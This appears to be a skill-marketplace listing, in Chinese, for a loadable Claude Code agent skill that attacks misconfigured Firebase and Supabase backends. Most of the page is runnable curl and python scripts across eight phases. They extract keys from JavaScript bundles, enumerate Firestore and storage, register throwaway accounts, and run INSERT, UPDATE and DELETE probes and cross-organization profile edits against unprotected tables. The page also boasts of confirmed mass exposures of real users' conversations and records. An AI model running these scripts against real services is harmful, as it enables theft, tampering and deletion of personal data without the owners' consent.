mcpField
F
firebase-supabase-attack

firebase-supabase-attack

github.com/uphiago安全1.3k40 次安装8 周前更新
代码仓库

关于 firebase-supabase-attack

用于评估 Firebase 和 Supabase 后端的安全测试技能,适用于应用配置或暴露凭据显示其使用这些服务的情况。它提供检查数据库、存储和身份验证访问控制的流程,仅用于获准测试的目标。

主要功能

  1. 01提取 Firebase 和 Supabase 配置
  2. 02检查 Firestore 与 REST 数据访问
  3. 03测试存储访问和枚举
  4. 04评估注册与身份验证控制
  5. 05测试表级 CRUD 权限

适用场景

  1. 01评估从 JavaScript 包中发现的 BaaS 后端
  2. 02验证数据库规则或 RLS 是否限制访问
  3. 03在授权测试中检查存储桶和注册控制

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill firebase-supabase-attack

安装后在 Claude Code 中输入/firebase-supabase-attack确认已加载。

详细介绍

Firebase & Supabase 攻击技能

利用配置错误的 Firebase(Firestore、Storage、Auth)和 Supabase(REST API、Storage、Auth)后端。在现代 Web 应用中,当缺少行级安全(RLS)且 API 密钥泄露到 JavaScript bundle 时,这些 BaaS 平台是大规模数据泄露的首要来源。已在以下目标中确认:delivery-platform(204K 条 WhatsApp 对话、173K 个电话号码)、visa-processing-platform(64K 名用户、46K 份报告)、fitness-chain(39K 名用户、5 个 Firebase 项目、21 个凭据)、dental-booking(9 家诊所、1,749 条潜在客户信息)。

适用场景

  • JavaScript bundle 分析发现 Firebase 配置(apiKey、projectId),或发现 Supabase URL 和 anon key。
  • 目标使用现代 SPA(React、Vue、Angular),后端采用 BaaS。
  • js-secrets-extraction 发现 Firebase/Supabase 标识符后。
  • source-leak-hunt 发现包含 FIREBASE_* 或 SUPABASE_* 变量的 .env 文件后。

前置条件

  • 配备 curl、python3、jq 的 terminal。
  • Firebase 项目 ID 或 Supabase URL 和 anon key(来自 JS bundle、源码泄露或侦察)。
  • 利用 Firebase SA 密钥时:安装了 google-auth 库的 python3。

运行方法

# Firebase Firestore — list collections (if public)
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents/"

# Supabase — list users table (if RLS missing)
curl --max-time 30 --connect-timeout 10 -sk "https://PROJECT.supabase.co/rest/v1/users" \
  -H "apikey: ANON_KEY" -H "Authorization: Bearer ANON_KEY"

# Supabase — test signup (if open)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://PROJECT.supabase.co/auth/v1/signup" \
  -H "apikey: ANON_KEY" -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"Test123!"}'

快速参考

平台查找内容利用途径实际示例
Firebase Firestore公开的数据库规则直接访问 REST API,列出所有集合delivery-platform:204K 条对话公开
Firebase Storage公开的存储桶规则通过 REST API 下载所有文件delivery-platform:1,000 多个 WhatsApp 音频文件公开
Firebase Auth开放注册创建账户,访问受保护资源fitness-chain:Firebase Auth 开放注册
Firebase SA Key服务账号 JSON提升 GCP IAM 权限,访问所有 GCP 资源fitness-chain:5 个 SA 密钥 → 完全访问 GCP
Supabase REST缺少 RLS对任意表执行 SELECT/INSERT/UPDATE/DELETEvisa-processing-platform:64K 名用户、46K 份报告,已确认可执行 DELETE
Supabase Storage公开存储桶下载所有文件,上传恶意内容visa-processing-platform:公开的 PDF 报告存储桶
Supabase Auth开放注册创建账户,绕过访问控制dental-booking:开放注册 + 自动确认

操作步骤

阶段 1 — 从 JS Bundle 提取配置
TARGET="$1"
OUTDIR="$OUTDIR/firebase_supabase/$TARGET"
mkdir -p "$OUTDIR"

# Download homepage and common JS entry points
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/" -o "$OUTDIR/index.html"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/app.js" -o "$OUTDIR/app.js" 2>/dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/main.js" -o "$OUTDIR/main.js" 2>/dev/null

echo "[*] Extracting Firebase/Supabase configs..."

# Firebase config pattern
grep -Eo 'apiKey["\s:]+["][^"]+["]|projectId["\s:]+["][^"]+["]|firebase\.initializeApp' \
  "$OUTDIR"/*.html "$OUTDIR"/*.js 2>/dev/null | sort -u

# Supabase config pattern
grep -Eo 'supabase\.co[^"'\'' ]+|supabaseUrl["\s:]+["][^"]+["]|supabaseKey["\s:]+["][^"]+["]|anon[_-]?key["\s:=]+["][^"]{20,}["]' \
  "$OUTDIR"/*.html "$OUTDIR"/*.js 2>/dev/null | sort -u
阶段 2 — 利用 Firebase Firestore
PROJECT_ID="$1"  # e.g., delivery-bot-platform

echo "[*] Firestore enumeration for $PROJECT_ID"

# List root collections (if public)
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/" | \
  python3 -c "
import sys, json
try:
    data = json.load(sys.stdin)
    if 'documents' in data:
        print(f'ERROR: {len(data[\"documents\"])} root docs — not a collection list')
    else:
        for k in data.keys():
            print(f'Collection: {k}')
except Exception as e:
    print(f'Error: {e}')
    print(sys.stdin.read()[:500])
" 2>/dev/null

# If Firestore requires auth, try with Firebase ID token from Auth
# (see Phase 4 for token generation via signup)
阶段 3 — 访问 Firestore 集合和文档
PROJECT_ID="$1"
COLLECTION="$2"  # e.g., conversationsV3, users, stores

echo "[*] Accessing collection: $COLLECTION"

# List documents in collection
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/$COLLECTION" | \
  python3 -c "
import sys, json
data = json.load(sys.stdin)
if 'documents' in data:
    print(f'Documents found: {len(data[\"documents\"])}')
    for doc in data['documents'][:5]:
        name = doc['name'].split('/')[-1]
        fields = doc.get('fields', {})
        # Extract top-level fields
        keys = list(fields.keys())[:10]
        print(f'  {name}: {keys}')
    if len(data['documents']) > 5:
        print(f'  ... and {len(data[\"documents\"]) - 5} more')
elif 'error' in data:
    print(f'Error: {data[\"error\"][\"message\"]}')
" 2>/dev/null

# Read a specific document
DOC_ID="$3"  # from the listing above
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/$COLLECTION/$DOC_ID" | \
  python3 -m json.tool 2>/dev/null | head -50
阶段 4 — Firebase Auth 注册和令牌生成
API_KEY="$1"  # from JS bundle (web API key)
PROJECT_ID="$2"

echo "[*] Testing Firebase Auth signup on $PROJECT_ID"

# Sign up
SIGNUP_RESP=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"email":"test-'$(date +%s)'@evil.com","password":"TestPass123!","returnSecureToken":true}')

if echo "$SIGNUP_RESP" | grep -q "idToken"; then
  echo "[+] SIGNUP OPEN — account created!"
  ID_TOKEN=$(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['idToken'])" 2>/dev/null)
  echo "  ID Token: ${ID_TOKEN:0:50}..."

  # Now use this token with Firestore
  echo "[*] Testing Firestore access with ID token..."
  curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/" \
    -H "Authorization: Bearer $ID_TOKEN" | python3 -c "
import sys, json
data = json.load(sys.stdin)
if 'documents' in data:
    print(f'[+] ACCESS GRANTED — {len(data[\"documents\"])} collections visible')
elif 'error' in data:
    print(f'[-] Access denied: {data[\"error\"][\"message\"]}')
else:
    print(f'[?] Unknown response: {list(data.keys())}')
" 2>/dev/null
else
  echo "[-] Signup blocked: $(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('error',{}).get('message','unknown'))" 2>/dev/null)"
fi
阶段 5 — 枚举 Firebase Storage
PROJECT_ID="$1"
BUCKET="${PROJECT_ID}.appspot.com"  # default bucket name

echo "[*] Storage enumeration for $BUCKET"

# List objects (if public)
curl --max-time 30 --connect-timeout 10 -sk "https://storage.googleapis.com/storage/v1/b/$BUCKET/o" | \
  python3 -c "
import sys, json
data = json.load(sys.stdin)
if 'items' in data:
    total = len(data['items'])
    total_size = sum(int(i.get('size', 0)) for i in data['items'])
    print(f'Objects: {total} ({total_size:,} bytes)')
    for item in data['items'][:5]:
        print(f'  {item[\"name\"]} ({item.get(\"size\",0):,} bytes)')
elif 'error' in data:
    print(f'Error: {data[\"error\"][\"message\"]}')
"

# Download a specific file
OBJECT_NAME="$2"  # from listing
curl --max-time 30 --connect-timeout 10 -sk "https://storage.googleapis.com/storage/v1/b/$BUCKET/o/$OBJECT_NAME?alt=media" \
  -o "/tmp/firebase_$OBJECT_NAME"
echo "[+] Downloaded to /tmp/firebase_$OBJECT_NAME"
阶段 6 — 利用 Supabase REST API
SUPABASE_URL="$1"  # e.g., https://gfgmuezavgzjmaxhflsu.supabase.co
ANON_KEY="$2"       # from JS bundle

echo "[*] Supabase REST API enumeration"

# Schema discovery — list tables by querying common names
TABLES=("users" "profiles" "organizations" "posts" "comments" "purchases"
        "orders" "products" "reports" "relatorios" "documents" "files"
        "messages" "conversations" "sessions" "audit_logs")

for table in "${TABLES[@]}"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 \
    "$SUPABASE_URL/rest/v1/$table?limit=1" \
    -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" 2>/dev/null)

  if [[ "$code" == "200" ]]; then
    count=$(curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$table?limit=0" \
      -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \
      -H "Prefer: count=exact" -I 2>/dev/null | grep -i "content-range" | grep -Eo '\d+(?=/\d+$)')
    echo "  [TABLE] $table — HTTP 200 (${count:-?} rows)"

    # Fetch first 3 rows
    curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$table?limit=3" \
      -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" | \
      python3 -m json.tool 2>/dev/null | head -20
    echo ""
  elif [[ "$code" == "401" || "$code" == "403" ]]; then
    echo "  [BLOCKED] $table — HTTP $code (RLS protected)"
  fi
done
阶段 7 — 测试 Supabase CRUD(绕过 RLS)
SUPABASE_URL="$1"
ANON_KEY="$2"
TABLE="$3"  # from table discovery above

echo "[*] CRUD testing on $TABLE"

# INSERT
echo -n "  INSERT: "
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/rest/v1/$TABLE" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \
  -H "Content-Type: application/json" -H "Prefer: return=minimal" \
  -d '{"test":"rls_bypass_probe_'$(date +%s)'"}' \
  -o /dev/null -w "%{http_code}" 2>/dev/null
echo ""

# UPDATE (PATCH)
echo -n "  UPDATE: "
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$SUPABASE_URL/rest/v1/$TABLE?test=eq.RLS_BYPASS" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \
  -H "Content-Type: application/json" -H "Prefer: return=minimal" \
  -d '{"test":"rls_updated"}' \
  -o /dev/null -w "%{http_code}" 2>/dev/null
echo ""

# DELETE
echo -n "  DELETE: "
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "$SUPABASE_URL/rest/v1/$TABLE?test=eq.RLS_BYPASS" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \
  -H "Prefer: return=minimal" \
  -o /dev/null -w "%{http_code}" 2>/dev/null
echo ""
阶段 8 — Supabase Auth 注册
SUPABASE_URL="$1"
ANON_KEY="$2"

echo "[*] Supabase Auth signup test"

SIGNUP_RESP=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/auth/v1/signup" \
  -H "apikey: $ANON_KEY" -H "Content-Type: application/json" \
  -d '{"email":"test-'$(date +%s)'@evil.com","password":"TestPass123!"}')

if echo "$SIGNUP_RESP" | grep -q "access_token"; then
  echo "[+] SIGNUP OPEN!"
  ACCESS_TOKEN=$(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])" 2>/dev/null)
  echo "  Access Token: ${ACCESS_TOKEN:0:50}..."

  # Test cross-org access (change organization_id in profile)
  curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$SUPABASE_URL/rest/v1/profiles?id=eq.$(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['user']['id'])" 2>/dev/null)" \
    -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ACCESS_TOKEN" \
    -H "Content-Type: application/json" -H "Prefer: return=representation" \
    -d '{"organization_id":1}' 2>/dev/null | python3 -m json.tool 2>/dev/null
  echo "  [*] If the above returned data for org_id=1, cross-organization access works"
else
  echo "[-] Signup blocked: $(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('msg','unknown'))" 2>/dev/null)"
fi

注意事项

  • Anon key 不是秘密。 它的设计用途就是公开。漏洞在于缺少 RLS,而不是密钥本身暴露。
  • Firestore 规则可能允许读取但不允许写入。 请分别测试 SELECT、INSERT、UPDATE 和 DELETE。
  • Supabase RLS 可能保护了某些表,但没有保护其他表。 请独立测试每张表。
  • Firebase Auth 注册可能需要验证电子邮件。 请检查应用是否会自动确认电子邮件(很多应用会)。
  • Firestore REST API 有速率限制。 对于大量数据提取,请将请求间隔设为 0.5-1 秒。
  • JS 包中的 API key 可能被截断或脱敏。 压缩包中可见的密钥字符串可能显示为 AIzaSy...USd4 或类似的截断形式。如果打包器将密钥拆分为多个字符串字面量,或者密钥引用了在其他位置定义的变量,就会出现这种情况。如果 Firebase API 测试返回“API key not valid”,则正则表达式可能只匹配到了部分密钥。请提取其周围的上下文(两侧各 50 个以上字符),以查找完整密钥。
  • Firebase 项目可能尚未部署。 Firebase 项目 ID(例如 medxgo-2e637)可能存在于 GCP 项目注册表中,但没有已部署的 Firebase 资源(没有 Firestore、Hosting 或 Storage)。请分别检查 /firebaseapp.com、/firebaseio.com 和 /firestore.googleapis.com,它们各自可能返回不同的结果。

验证

  • Firebase Firestore:必须在未进行身份验证的情况下列出集合/文档(不带 Authorization 请求头)。
  • Supabase REST:仅使用 anon key(不带用户 JWT)时,必须返回包含数据行的 HTTP 200 响应。
  • Supabase CRUD:必须确认至少有一项写入操作(INSERT/UPDATE/DELETE)成功。
  • Firebase Auth 注册:响应中必须返回 idToken 或 access_token。
  • Firebase Storage:必须在未进行身份验证的情况下列出对象。
  • 记录所有可访问的数据:集合/表名称、行数以及暴露的敏感字段。

评论

支持 Markdown